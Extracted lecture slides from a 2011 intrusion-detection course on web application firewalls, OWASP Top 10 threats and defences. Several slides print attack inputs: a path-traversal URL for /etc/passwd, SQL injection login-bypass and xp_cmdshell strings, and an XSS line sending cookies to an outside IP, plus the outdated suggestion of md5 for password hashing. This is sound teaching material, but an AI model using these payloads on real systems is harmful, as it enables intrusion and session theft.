to get the file

Chapter 7. Web Application Firewall
IMS784(침입탐지시스템)
Spring, 2011
Prof. H. K. Kim
1

Agenda
• I. Remind for term project
• II. Web security threats
• III. Web application Firewall
• IV. Practical recommendations
2

Remind – term project
Selected dataset - 1999 DARPA Intrusion detection data set
http://www.ll.mit.edu/mission/communications/ist/corpora/id/data/1999data.
html
http://www.ll.mit.edu/mission/communications/ist/corpora/ideval/index.html
notes)
Writing in Korean is allowed without any penalty.
Make a group with 2~3 students
Your term paper must include these following items.
(1) analyze 1999 DARPA data set first, and explain about the dataset. If you
have any criticism regarding dataset itself or experiment design, then
describe it.
- You will get no point in case that you just write several sentence or small
paragraph for criticism.
3

Notice – term project
(2) Select the papers (more than 3 papers) related to these experiments.
- the newer paper, the better.
- describe why you select these papers. (a lot of citation count interesting for
what)
(3) Give your criticism about those papers.
- You will get no point in case that you just write several sentences (too short!)
or small paragraph for criticism.
(4) You have to develop your own algorithm/methodology to improve the
previous research.
- describe your experiment design
- submit your code in case that you develop an application for your experiment
- describe your research's contributions strictly and justify your contributions.
(5) adopting attack graph or data mining technique or statistics tools... any idea
will be welcomed.
You have to submit peer assessment result by contribution for your term paper.
(when your group's members are student A, B and C.
A: 55 point, B: 25 point, C: 20 point)
due date: 16th June
4

Agenda
• I. Notice for term project
• II. Web security threats
• III. Web application Firewall
• IV. Practical recommendations
5

Web application (1/2)
▣ definition
• A web application is a software application that is accessible using a
web browser or HTTP(S) user agent.
6

Web application (2/2)
▣ web application‟s architecture
n-tiers
HTTP request
(cleartext or SSL)
SQL
Database
Web
Client
Transport
Web
Server
Web app
Web app
Web app
Web app
Connector
Connector
DB
DB
HTTP reply (HTML,
Javascript,
VBscript, etc)
Apache, IIS,
Netscape
etc…
Perl,
C/C++,
JSP, etc..
ADO, ODBC, etc..
7

Why is web security important
Application Layer
Database Layer
Your security “perimeter” has huge
holes at the application layer
HTTP
request
(cleartext or
SSL)
Custom Developed
Application Code
Databases
OS/Platform layer
Network Layer
HTTP reply
(HTML, Javascript,
VBscript, etc)
Firewall
•Windows
•Unix
App Server
Web Server
Hardened OS
•Apache
•IIS…
Firewall
Database
connection:
•ADO,
•JDBC, etc.
We can‟t protect and detect application layer‟s attack with the traditional safeguard of
network layer and OS layer (Firewall, ACL, OS hardening, SSL)
image source: www.owasp.org
8

Why is web security important
Network and OS layer protection cannot
block web attacks.
A lot of vulnerabilities are newly
discovered every month in the well-known
web applications.
(e.g. Tomcat, Apache, zero board and etc.)
The only thing that a firewall and ACL
can do is „blocking or permitting‟.
It is extremely hard to defend against
zero-day attacks.
It is hard to find and fix vulnerabilities in
in-house web applications.
With these vulnerabilities, hackers can
get inside of the network and servers.
The most valuable assets (e.g. customers‟
personal information) can be exposed by
web attacks.
It is hard to apply database encryption
methods due to performance
degradation.
The Importance of Web Security
keeps growing
9

Why is web security important
“Now is the time for security at Application Level”, Dec. 2005, Gartner
10

Is it easy to hack into web
GET / HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5)
Gecko/2008120122 Firefox/3.0.5 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Cookie:
NID=19=LWH0mZNAX517tLm1zQBdKc55MBOkXjxTfHcxEdwH9NTJaWLgYfGglP2Ji16h45r76aDJcqrKl
uXxr_X zJETi1Zm45jVw_mQ1RiZp8dFji1SOigJ-HulNC9MBpOSG_RVO;
PREF=ID=3caba30d3a03f500:TM=1232592795:LM=1232592795:S=b3Yz2CoeVFRPz-fm
11

• Web crack
Useful web hacking tools
– For password brute force attack
• IntelliTemper, webzip
– For gathering directory scheme and files
12

Basic web hacking technique
• Directory traversal and file download
– You got some URL path and the web server‟s OS type is linux
system
• http://www.victim.com/board/down.jspfilename=upload.hwp
– try this for downloading a sensitive file
• http://www.victim.com/board/down.jspfilename=../../../../../../../../../../
../etc/passwd
– Try directory listing
13

OWASP top 10
• OWASP top 10 project
– http://www.owasp.org/index.php/OWASP_To
p_Ten_Project
• Open Web Application Security Project
– Promotes secure software development
– Oriented to the delivery of web oriented
services
– Focused primarily on the “back-end” than
web-design issues
– An open forum for discussion
14

OWASP top 10
• OWASP top 10 project
– http://www.owasp.org/index.php/OWASP_Top_Ten_P
roject
– 번역본:
http://www.securityplus.or.kr/xe/module=file&act=
procFileDownload&file_srl=25999&sid=00866c962d
596769cb97cd9fadb81947
• Open Web Application Security Project
– Promotes secure software development
– Oriented to the delivery of web oriented services
– Focused primarily on the “back-end” than webdesign
issues
– An open forum for discussion
15

OWASP top 10
• top 10 issue (~2009)
– A1. Unvalidated Input
– A2. Broken Access Controls
– A3. Broken Authentication and Session Management
– A4. Cross Site Scripting Flaws
– A5. Buffer Overflows
– A6. Injection Flaws
– A7. Improper Error Handling
– A8. Insecure Storage
– A9. Denial of Service
– A10. Insecure Configuration Management
16

What‟s new in OWASP Top 10 (2010)
=
=
+
+
-
-
Ref: OWASP Top 10 project - 2010 http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
17

OWASP Top 10 (2010)
18

OWASP Top 10 (2010)
19

Injection – SQL injection illustrated
Application Layer
Database Layer
OS/Platform layer
Network Layer
HTTP
request
APPLICATION
ATTACK
Firewall
Accounts
Finance
Administration
Transactions
Communication
Knowledge Mgmt
Custom Code
App Server
Web Server
Hardened OS
E-Commerce
HTTP
SQL
response
query
Bus. Functions
Firewall
Databases
Legacy Systems
Web Services
Directories
Human Resources
DB Table
Billing
"SELECT * FROM
Account Summary
Account: accounts WHERE
acct=‘’ SKU: OR 1=1--
’"
Acct:5424-6066-2134-4334
Acct:4128-7574-3921-0192
Acct:5424-9383-2039-4029
Acct:4128-0004-1234-0293
1. Application presents a form to
the attacker
2. Attacker sends an attack in the
form data
3. Application forwards attack to
the database in a SQL query
4. Database runs query containing
attack and sends encrypted results
back to application
5. Application decrypts data as
normal and sends results to the user
image source: www.owasp.org
20

More SQL injection examples
Query = "SELECT user_id FROM member
WHERE user_id = ' "&strUser_id&" '
AND password = ' '&strPassword&" ' “
strAuthCheck = GetQueryResult(Query)
If strAuthCheck = " " then
boolAuthenticated = Fasle
Else
boolAuthenticated = True
EndIf
Query = "SELECT user_id FROM member
WHERE user_id = „„ or „‟=„„
AND password = ' „ or „‟=„ „ “
strAuthCheck = GetQueryResult(Query)
If strAuthCheck = " " then
boolAuthenticated = Fasle
Else
boolAuthenticated = True
EndIf
Then try to inject these
Id : ‘ or ‘’=‘
password : ‘ or ‘’=‘
21

More SQL injection examples
More dangerous injection code:
''%'; EXEC master.dbo.xp_cmdshell "net user
sqltest sqltest /add"--%„
22

Injection – how to defend
1. Use a safe API which avoids the use of the interpreter entirely or provides a
parameterized interface. (e.g. stored procedures) – even though these APIs are
parameterized, but may still allow injection.
2. If a parameterized API is not available, you should carefully filter special characters
using the specific escape syntax.
Example of filtering code for user input validation
String queryinput = request.getParameter(“DB_INPUT”);
String newqueryinput;
static Pattern escaper = Pattern.compile("([^a-zA-z0-9.])");
newqueryinput = escaper.matcher(queryinput).replaceAll("\\\\$1");
23

XSS – XSS illustrated
1. Attacker sets the trap – post the JavaScript code
Application with
stored XSS code
Attacker
2. Victim views page – sees attacker‟s posting
Script runs inside
victim‟s browser with full
access to the DOM and
cookies
Accounts
Finance
Administration
Transactions
Custom Code
Communication
Knowledge Mgmt
E-Commerce
Bus. Functions
victim
3. usually, the script are designed to send victim‟s session or cookie to hacker
silently. With victim‟s session ID or cookie, hacker can login to the web site
without an victim‟s ID and password.
image source: www.owasp.org
24

More XSS example
• url="http://143.248.3.1/GetCookie.aspcookie="+docume
nt.cookie;window.open(url,width=0, height=0);
25

More XSS example
• With stolen cookie, how to exploit
• You can use Burp suite or Paros for editing HTTP request field.
Replace cookie field with captured victim‟s value
26

XSS – how to defend
1.Filter all untrusted data based on the HTML context (body, attribute, JavaScript, CSS,
or URL) that the data will be placed into. Do not allow users’ HTML tag or script input.
2.If an web application requires users’ input of special characters then apply positive or
“whitelist” input validation.
Example code for filtering user inputs
27

1. Unvalidated Parameters
• HTTP requests from browsers to web apps
– URL, Querystring, Form Fields, Hidden Fields, Cookies, Headers
– Web apps use this information to generate web pages
• Attackers can modify anything in request
– WebScarab
• Key Points:
– Check before you use anything in HTTP request
– Canonicalize before you check
– Client-side validation is irrelevant
– Reject anything not specifically allowed
• Type, min/max length, character set, regex, min/max value…
28

2. Broken Access Control
• Access control is how you keep one user away from
other users‟ information
• The problem is that many environments provide
authentication, but don‟t handle access control well
– Many sites have a complex access control policy
– Insidiously difficult to implement correctly
• Key Points
– Write down your access control policy
– Don‟t use any “id‟s” that an attacker can manipulate
– Implement access control in a centralized module
29

3. Broken Account and Session Management
• Account Management
– Handling credentials across client-server gap
– Backend authentication credentials too
• Session Management
– HTTP is a “stateless” protocol. Web apps need to keep track
of which request came from which user
– “Brand” sessions with an id using cookie, hidden field, URL
tag, etc…
• Key Points
– Keep credentials secret at all times
– Use only the random sessionid provided by your environment
30

3. Broken Account and Session Management
• With exploiting MS SQL reporting service web
vulnerability, it is able to do directory traversal and
download sensitive data
31

4. Cross-Site Scripting (XSS) Flaws
• Web browsers execute code sent from websites
– Javascript
– Flash and many others haven‟t really been explored
• But what if an attacker could get a website to forward
an attack!
– Stored – web application stores content from user, then sends
it to other users
– Reflected – web application doesn‟t store attack, just sends it
back to whoever sent the request
• Key Points
– Don‟t try to strip out active content – too many variations.
Use a “positive” specification.
32

5. Buffer Overflows
• Web applications read all types of input from users
– Libraries, DLL‟s, Server code, Custom code, Exec
• C and C++ code is vulnerable to buffer overflows
– Input overflows end of buffer and overwrites the stack
– Can be used to execute arbitrary code
• Key Points
– Be careful about reading into buffers
– Use safe string libraries correctly
33

6. Command Injection Flaws
• Web applications involve many interpreters
– OS calls, SQL databases, templating systems
• Malicious code
– Sent in HTTP request
– Extracted by web application
– Passed to interpreter, executed on behalf of web app
• Key Points
– Use extreme care when invoking an interpreter
– Use limited interfaces where possible (PreparedStatement)
– Check return values
34

7. Error Handling Problems
• Errors occur in web applications all the time
– Out of memory, too many users, timeout, db failure
– Authentication failure, access control failure, bad input
• How do you respond
– Need to tell user what happened (no hacking clues)
– Need to log an appropriate (different) message
• Key Points:
– Make sure error screens don‟t print stack traces
– Design your error handling scheme
– Configure your server
35

7. Error Handling Problems
36

8. Insecure Use of Cryptography
• Use cryptography to store sensitive information
– Algorithms are simple to use, integrating them is hard
• Key Points
– Do not even think about inventing a new algorithm
– Be extremely careful storing keys, certs, and passwords
– Rethink whether you need to store the information
– Don‟t store user passwords – use a hash like SHA-256 or md5
• The “master secret” can be split into two locations and
assembled
– Configuration files, external servers, within the code
37

9. Remote Administration Flaws
• Many sites allow remote administration
– Very powerful, often hidden interfaces
– Difficult to protect
• Key Points
– Eliminate all administration over the Internet
– Separate the admin application from the main app
– Limit the scope of remote administration
• Consider strong authentication
– Smart card or token
39

10. Web and Application Server Misconfiguration
• All web and application servers have many securityrelevant
configuration options
– Default accounts and passwords
– Unnecessary default, backup, sample apps, libraries
– Overly informative error messages
– Misconfigured SSL, default certificates, self-signed certs
– Unused administrative services
• Key Points:
– Keep up with patches (Code Red, Slammer)
– Use Scanning Tools (Nikto, Nessus)
– Harden your servers!
40

Agenda
• I. Notice for term project
• II. Web security threats
• III. Web application Firewall
• IV. Practical recommendations
41

Web Application Firewall
• Why do we need WAF We already have IPS.
– IPS covers all of the network protocol and
application flaws.
– WAF is highly designed for detecting and
preventing HTTP
– If you use both, WAF will save IPS‟ workload for
detecting HTTP side attack
• WAF has unique functionality based on white
and black
– It enumerates all http requests including parameters
on that sites and maintains.
– It blocks well-known attacks for http servers
(apache, IIS and etc.) and attack patterns in OWASP
top 10 categories
42

Web Application Firewall
• WAF is a valuable security solution
because Web applications are too
sophisticated for an IDS/Intrusion
Prevention System (IPS) to protect.
• Each Web application is unique makes it
too complex for a static patternmatching
solution.
• A WAF has the capability to understand
what characters are allowed within the
context of the many pieces and parts of
a Web page.
43

WAF Protection models
• WAF‟s modeled approaches to filtering
traffic
– user permission-based access control
– centralized authentication
– negative security
– positive security
– virtual patching
– output filtering
44

WAF – positive filtering model
• allows only “known good” traffic to pass
– Some allow, all deny
– a WAF running a positive security approach
is like a paranoid security guard who
automatically assumes that everyone he
doesn‟t recognize is malicious.
– With this model, WAF catches the unknown
(or zero-day) attacks
– it does not need to regularly have its
signature file updated.
– It requires extensive training or learning
time, which takes much up-front time and
energy
45

WAF – negative filtering model
• block known bad items
– Some deny, all allow
– monitor and detect known problems
– easy to develop, false positives are
uncommon
– negative security model does not detect
unknown threats
46

WAF – virtual patching model
• Network level defense
• Even though there are security holes in the back-end
servers, WAF can defend them from the relative attack.
– This concept allows an IDS/IPS administrator to install a
custom filter to prevent an unpatched system
– virtual patching requires an administrator to have the exploit
code to properly test the solution, or the patch has to be
generic
• E.g. block all packets which have the following strings
– DECLARE%20@S%20NVARCHAR(4000)
– It is part of one particular SQL injection attack payload
– All various attacks with this strings will be blocked
47

WAF - Output Detection Model/Content Scrubbing
• WAF is still weak from the evasion technique
– SQL injection attacks typically involve an apostrophe, which
can be encoded in the attack request several different ways:
so WAF possibly misses some attacks
– „, %27, Char(39), ' , ' , \\„ , &#0000039
• But dealing with return messages are relatively easy.
e.g. DataLayerAPI error '80040e14' Unclosed
quotation mark after the character string ''
• While output detection is configured to detect some
specific error messages, it prevents the error message
from returning to the attacker.
– It can rewrite the response to make it look like the error never
happened
– It can redirect return pages to the pre-defined page
48

WAF policy models
• Learning
– For gathering reliable source of obtaining a rule set
• by placing the WAF in a secure environment and letting
the software monitor create a database of what constitutes
acceptable behavior.
• WAF can learn by watching trusted activity from a trusted
source.
• Vulnerability assessment feedback
• Learning is not good enough
• Gather information for WAF configuration by vulnerability
assessment (VA) with an automated tool, professional
service, or manual assessment.
• Manual entry
– Enumerate and subscribe all of the allowable
subdirectory, subdomain, file type, or any number
of other files, folders, or situations
49

VA+WAF
• Some commercial WAF products have an
integration module or interface with VA
tool
• Efficient than manual entry
50

Limitation
• WAF is focused on web based attacks
• Use WAF and IDPS both
• WAF has still false-positive and false-negative
problems
• Performance degradation – deadly bottleneck
• Lots of maintenance cost
– Misconfiguration issue
– Hard to handle frequent web site updates and
renewals
• WAF itself does not fix source code itself.
– Secure coding is highly required
51

Commercial WAF
• art of defence - hyperguard
• Trustwave - WebDefend Web Application Firewall
• Deny All - rWeb
• Fortify Software - Defender
• Imperva - SecureSphere
• Applicure - DotDefender
• Radware AppWall
• Armorlogic - Profense
• Barracuda Networks - Application Firewall
• Bee-Ware - iSentry
• BinarySec - Application Firewall
• BugSec - WebSniper
• Cisco - ACE Web Application Firewall
• Citrix - Application Firewall
• eEye Digital Security - SecureIIS
• F5 - Application Security Manager
• Forum Systems - Xwall, Sentry
• mWEbscurity - webApp.secure
• Phion / Visonys - Airlock
• Privacyware - ThreatSentry IIS Web Application Firewall
• Protegrity - Defiance TMS - Web Application Firewall
• Xtradyne - Application Firewalls
52

• Modsecurity
Open source based WAF
– http://www.modsecurity.org
• Guardian
– http://guardian.jumperz.net/index.html
• Web knight
– http://www.aqtronix.com/PageID=99
53

Agenda
• I. Notice for term project
• II. Web security threats
• III. Web application Firewall
• IV. Practical recommendations
54

Web Application Firewall
Deploy IPS and a web
application firewall in
front of web servers
Performance degradation
Limits in budget
False-positives
Review all source codes of
web applications before the
codes go into service
Frequent updates and
renewals of web sites
Lack of security experts
Patch all known security
flaws
Every month there are more
new vulnerabilities
discovered
Establish standards
No standards
Legacy systems
developed with various
languages
55

More practical recommendations
• Separate database that handles continuous user input (e.g. web BBS) from
other databases.
• Implement 3-tier architecture or middleware for sanitizing transactions.
• Developing dll or dummy TCP server will be enough.
• Use replicated databases - even though hacker attacks succeed, the original
data will be always safe and secure.
Do not allow direct DB connection
Web server
Use user defined service
port for middleware service
Middle
component
server
Parse query request and send the query
only if the pre-defined condition is matched
(source IP = web server, who = sa2, query = SELECT only)
replicated
Database
DB connection is only allowed
from the middleware component
server
Original
Database
56

More practical recommendations – no perfection
• Use secondary authentication for protecting users
• WAF is not enough, IPS+WAF is not enough also.
57

More practical recommendations
• Make a contingency plan.
- Web applications can be compromised at any time.
– Even if we fail to protect and detect attacks, we must not fail to react.
(e.g. Solaris’ zone copy for restoring)
– Even though the web application is compromised, the damage should
not be propagated to the other processes or servers.
• Use virtualization technology for minimizing damages. (e.g.
Solaris OS’ Zone, VMware, MS virtual server)
Application virtualization
process
process
OS virtualization
VM1
VM2
Real machine
hacking
Damaged area
58

Homework
• Web Application Firewall Evaluation Criteria
•https://files.pbworks.com/download/ZQDhMrjby0/webappsec/132470
61/wasc-wafec-v1.0.pdf
• 1) make a group with 2~3 students.
• 2) Read the above WAFEC thoroughly and evaluate any free version of
WAF with the Evaluation Criteria.
• 3) submit your report to EKU.
59

References
• http://www.owasp.org/index.php/File:OWASP_Top_Ten.ppt
• http://projects.webappsec.org/Web-Application-Security-Scanner-
Evaluation-Criteria
• http://www.modsecurity.org/documentation/ApacheCon_Europe_2008-
Web_Intrusion_Detection_with_ModSecurity.pdf
• http://en.wikipedia.org/wiki/Application_firewall
• http://guardian.jumperz.net/index.html
• http://webappsec.org/
• http://www.owasp.org/index.php/Web_Application_Firewall
60